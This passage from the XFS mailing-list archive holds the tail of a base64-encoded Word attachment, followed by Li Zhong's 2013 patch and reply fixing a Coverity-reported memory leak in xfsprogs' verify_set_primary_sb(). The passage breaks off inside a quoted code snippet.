AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v8AAAYBAgAAAAAAAAAAAAAAAAAAAAAAAQAA AALVzdWcLhsQk5cIACss+a4wAAAA6AAAAAwAAAABAAAAaAAAAA8AAABwAAAABQAAAHwAAAAGAAAA hAAAABEAAACMAAAAFwAAAJQAAAALAAAAnAAAABAAAACkAAAAEwAAAKwAAAAWAAAAtAAAAA0AAAC8 AAAADAAAAMkAAAACAAAA5AQAAB4AAAAEAAAAAAAAAAMAAAAKAAAAAwAAAAMAAAADAAAA8AUAAAMA AAAAAAwACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAACwAAAAAAAAAeEAAAAQAAAAEAAAAADBAAAAIA AAAeAAAABgAAAFRpdGxlAAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAA AAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAD+////EgAAABMAAAAUAAAAFQAAABYAAAAXAAAA GAAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAAm AAAAJwAAACgAAAApAAAAKgAAACsAAAAsAAAALQAAAC4AAAAvAAAAMAAAADEAAAAyAAAAMwAAADQA AAA1AAAANgAAADcAAAA4AAAAOQAAADoAAAD+////PAAAAD0AAAA+AAAAPwAAAEAAAABBAAAAQgAA AEMAAABEAAAARQAAAEYAAABHAAAASAAAAEkAAABKAAAA/v///0wAAABNAAAATgAAAE8AAABQAAAA UQAAAFIAAAD+////VAAAAFUAAABWAAAAVwAAAFgAAABZAAAAWgAAAP7////9////XQAAAF4AAAD+ /////v///2EAAAD+//////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////UgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYABQH//////////wMAAAAGCQIAAAAAAMAAAAAA AABGAAAAAAAAAAAAAAAA8ENYCPi2zgFgAAAAAAMAAAAAAABEAGEAdABhAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgACAf////////////// /wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEAAABkUgAAAAAAADEAVABhAGIA bABlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO AAIAAQAAAP//////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOwAAACse AAAAAAAAVwBvAHIAZABEAG8AYwB1AG0AZQBuAHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAABoAAgEKAAAABQAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAANCAAAAAAAAAFAFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBu AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAACAf///////////////wAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEsAAAAAEAAAAAAAAAUARABvAGMAdQBtAGUAbgB0AFMAdQBt AG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAA4AAIBBAAAAP////////// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUwAAAAAQAAAAAAAATQBzAG8ARABh AHQAYQBTAHQAbwByAGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABoA AQD//////////wcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDQMQj4ts4B4MlQCPi2zgEAAAAAAAAA AAAAAABPANgAVADTAMcAWQDZAMwAUwDUAFMAxgAwANEA0QBLAMUAyQDFAMEARwBRAD0APQAAAAAA AAAAAAAAAAAAAAAAMgABAf//////////CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMNAxCPi2zgHg yVAI+LbOAQAAAAAAAAAAAAAAAEkAdABlAG0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAIB/////wkAAAD/////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM0AAAAAAAAAUAByAG8AcABlAHIAdABpAGUAcwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYAAgD///////////////8A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAVQEAAAAAAAABAEMAbwBtAHAA TwBiAGoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAC AQIAAAAGAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAB5AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAA/v///wUAAAAGAAAABwAAAAgAAAAJAAAA/v// /wsAAAD+//////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////88YjpTb3VyY2VzIHhtbG5zOmI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54 bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L2JpYmxpb2dyYXBoeSIgeG1sbnM9Imh0 dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L2JpYmxp b2dyYXBoeSIgU2VsZWN0ZWRTdHlsZT0iXEFQQS5YU0wiIFN0eWxlTmFtZT0iQVBBIi8+AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPD94bWwgdmVyc2lv bj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8ZHM6ZGF0YXN0b3Jl SXRlbSBkczppdGVtSUQ9Ins5REYzODQzQi02QzhFLTQ0NEItQTY2Qi0xQzRBOTY5OTYxMTl9IiB4 bWxuczpkcz0iaHR0cDovL3NjaGVtYXMub3BlbnhtbGZvcm1hdHMub3JnL29mZmljZURvY3VtZW50 LzIwMDYvY3VzdG9tWG1sIj48ZHM6c2NoZW1hUmVmcz48ZHM6c2NoZW1hUmVmIGRzOnVyaT0iaHR0 cDovL3NjaGVtYXMub3BlbnhtbGZvcm1hdHMub3JnL29mZmljZURvY3VtZW50LzIwMDYvYmlibGlv Z3JhcGh5Ii8+PC9kczpzY2hlbWFSZWZzPjwvZHM6ZGF0YXN0b3JlSXRlbT4AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQD+/wMKAAD/////BgkCAAAAAADAAAAAAAAA RicAAABNaWNyb3NvZnQgT2ZmaWNlIFdvcmQgOTctMjAwMyBEb2N1bWVudAAKAAAATVNXb3JkRG9j ABAAAABXb3JkLkRvY3VtZW50LjgA9DmycQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA ------=_Part_153655_1917050350.1380091708405-- From zhong@linux.vnet.ibm.com Wed Sep 25 02:32:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 912647F3F for ; Wed, 25 Sep 2013 02:32:53 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8053B8F804C for ; Wed, 25 Sep 2013 00:32:50 -0700 (PDT) X-ASG-Debug-ID: 1380094334-04cbb02c3e13ca030001-NocioJ Received: from e23smtp03.au.ibm.com (e23smtp03.au.ibm.com [202.81.31.145]) by cuda.sgi.com with ESMTP id y9cCkbb4WHB1nHu7 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 25 Sep 2013 00:32:32 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 202.81.31.145 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.145] Received: from /spool/local by e23smtp03.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 25 Sep 2013 17:32:13 +1000 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.145] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.145] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.145] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.145] Received: from d23dlp03.au.ibm.com (202.81.31.214) by e23smtp03.au.ibm.com (202.81.31.209) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 25 Sep 2013 17:32:12 +1000 Received: from d23relay05.au.ibm.com (d23relay05.au.ibm.com [9.190.235.152]) by d23dlp03.au.ibm.com (Postfix) with ESMTP id 7A2FC3578052 for ; Wed, 25 Sep 2013 17:32:11 +1000 (EST) Received: from d23av04.au.ibm.com (d23av04.au.ibm.com [9.190.235.139]) by d23relay05.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8P7FMNe53215366 for ; Wed, 25 Sep 2013 17:15:22 +1000 Received: from d23av04.au.ibm.com (loopback [127.0.0.1]) by d23av04.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r8P7WA6J029119 for ; Wed, 25 Sep 2013 17:32:10 +1000 Received: from [9.123.210.162] (thinkpad-t5421.cn.ibm.com [9.123.210.162]) by d23av04.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r8P7W7Bc029027 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO); Wed, 25 Sep 2013 17:32:09 +1000 Message-ID: <1380094327.2526.5.camel@ThinkPad-T5421> Subject: [PATCH v2] xfsprogs: fix potential memory leak in verify_set_primary_sb() From: Li Zhong X-ASG-Orig-Subj: [PATCH v2] xfsprogs: fix potential memory leak in verify_set_primary_sb() To: Mark Tinguely Cc: xfsprogs , Chandra Seetharaman Date: Wed, 25 Sep 2013 15:32:07 +0800 In-Reply-To: <5241E125.7010902@sgi.com> References: <1379829679.4089.2.camel@ThinkPad-T5421> <5241E125.7010902@sgi.com> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13092507-6102-0000-0000-0000043B9F1D X-Barracuda-Connect: e23smtp03.au.ibm.com[202.81.31.145] X-Barracuda-Start-Time: 1380094346 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This patch tries to fix CID 997012, 997013 and 997014 reported by Coverity scan, as suggested by sekharan. v2: as Mark pointed out, out in the for loop before also needs list to be freed. Also remove out lable as it is not referenced any more. Signed-off-by: Li Zhong --- repair/sb.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/repair/sb.c b/repair/sb.c index aa550e3..d34d7a2 100644 --- a/repair/sb.c +++ b/repair/sb.c @@ -733,7 +733,7 @@ verify_set_primary_sb(xfs_sb_t *rsb, if (get_sb(sb, off, size, agno) == XR_EOF) { retval = 1; - goto out; + goto out_free_list; } if (verify_sb(sb, 0) == XR_OK) { @@ -756,8 +756,10 @@ verify_set_primary_sb(xfs_sb_t *rsb, /* * see if we have enough superblocks to bother with */ - if (num_ok < num_sbs / 2) - return(XR_INSUFF_SEC_SB); + if (num_ok < num_sbs / 2) { + retval = XR_INSUFF_SEC_SB; + goto out_free_list; + } current = get_best_geo(list); @@ -841,7 +843,6 @@ verify_set_primary_sb(xfs_sb_t *rsb, out_free_list: free_geo(list); -out: free(sb); free(checked); return(retval); -- 1.8.1.4 From zhong@linux.vnet.ibm.com Wed Sep 25 02:34:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3E83C7F3F for ; Wed, 25 Sep 2013 02:34:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1EA748F804C for ; Wed, 25 Sep 2013 00:34:44 -0700 (PDT) X-ASG-Debug-ID: 1380094479-04cbb02c3e13ca350001-NocioJ Received: from e28smtp07.in.ibm.com (e28smtp07.in.ibm.com [122.248.162.7]) by cuda.sgi.com with ESMTP id 0v8AYwtjFHJhFFUQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 25 Sep 2013 00:34:42 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 122.248.162.7 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.7] Received: from /spool/local by e28smtp07.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 25 Sep 2013 13:04:38 +0530 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.7] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.7] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.7] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.7] Received: from d28dlp03.in.ibm.com (9.184.220.128) by e28smtp07.in.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 25 Sep 2013 13:04:36 +0530 Received: from d28relay05.in.ibm.com (d28relay05.in.ibm.com [9.184.220.62]) by d28dlp03.in.ibm.com (Postfix) with ESMTP id 9AD901258056 for ; Wed, 25 Sep 2013 13:04:48 +0530 (IST) Received: from d28av02.in.ibm.com (d28av02.in.ibm.com [9.184.220.64]) by d28relay05.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8P7YY5j40173700 for ; Wed, 25 Sep 2013 13:04:34 +0530 Received: from d28av02.in.ibm.com (localhost [127.0.0.1]) by d28av02.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8P7YZcO023344 for ; Wed, 25 Sep 2013 13:04:35 +0530 Received: from [9.123.210.162] (thinkpad-t5421.cn.ibm.com [9.123.210.162]) by d28av02.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8P7YXnu023263 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Wed, 25 Sep 2013 13:04:35 +0530 Message-ID: <1380094473.2526.8.camel@ThinkPad-T5421> Subject: Re: [PATCH] xfsprogs: fix potential memory leak in verify_set_primary_sb() From: Li Zhong X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: fix potential memory leak in verify_set_primary_sb() To: Mark Tinguely Cc: xfsprogs , Chandra Seetharaman Date: Wed, 25 Sep 2013 15:34:33 +0800 In-Reply-To: <5241E125.7010902@sgi.com> References: <1379829679.4089.2.camel@ThinkPad-T5421> <5241E125.7010902@sgi.com> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13092507-8878-0000-0000-000008FA8979 X-Barracuda-Connect: e28smtp07.in.ibm.com[122.248.162.7] X-Barracuda-Start-Time: 1380094481 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, 2013-09-24 at 13:59 -0500, Mark Tinguely wrote: > On 09/22/13 01:01, Li Zhong wrote: > > This patch tries to fix CID 997012, 997013 and 997014 reported by Coverity scan, > > as suggested by sekharan. > > > > Signed-off-by: Li Zhong > > --- > > > > @@ -756,8 +756,10 @@ verify_set_primary_sb(xfs_sb_t *rsb, > > /* > > * see if we have enough superblocks to bother with > > */ > > - if (num_ok < num_sbs / 2) > > - return(XR_INSUFF_SEC_SB); > > + if (num_ok < num_sbs / 2) { > > + retval = XR_INSUFF_SEC_SB; > > + goto out_free_list; > > + } > > > > > Looks good. list, sb and check could have been allocated at this point. > > Isn't the list been added to before the conditional in the for loop?: See, I just sent a new version including below change. Seems it is a Coverity scan bug not discovering this :) Thanks, Zhong > > list = add_geo(list, &geo, sb_index); > > /* > * grab N secondaries. check them off as we get them > * so we only process each one once > */ > for (round = 0; round < skip; round++) { > > ... > if (get_sb(sb, off, size, agno) 